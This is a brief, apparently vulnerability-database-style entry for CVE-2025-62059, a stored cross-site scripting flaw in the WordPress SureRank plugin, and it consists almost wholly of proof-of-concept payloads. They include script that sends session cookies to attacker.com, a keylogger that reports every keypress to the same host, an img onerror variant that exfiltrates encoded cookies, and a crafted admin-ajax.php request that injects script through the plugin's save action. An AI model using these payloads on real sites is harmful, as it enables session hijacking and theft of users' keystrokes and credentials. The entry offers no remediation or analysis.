CVE-2025-62059 WordPress SureRank插件存储型XSS漏洞

<!-- Stored XSS PoC for CVE-2025-62059 --> <!-- Attacker's input payload injected via plugin's vulnerable input field --> <script> // Steal session cookies document.write('<img src="https://attacker.com/log?cookie=' + document.cookie + '"/>'); // Keylogger to capture user input document.addEventListener('keypress', function(e) { fetch('https://attacker.com/log?key=' + e.key); }); </script> <!-- Alternative payload using event handler --> <img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))"> <!-- Automated exploitation example --> fetch('https://victim-site.com/wp-admin/admin-ajax.php', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'action=surerank_save&data=<script>alert(document.domain)</script>' });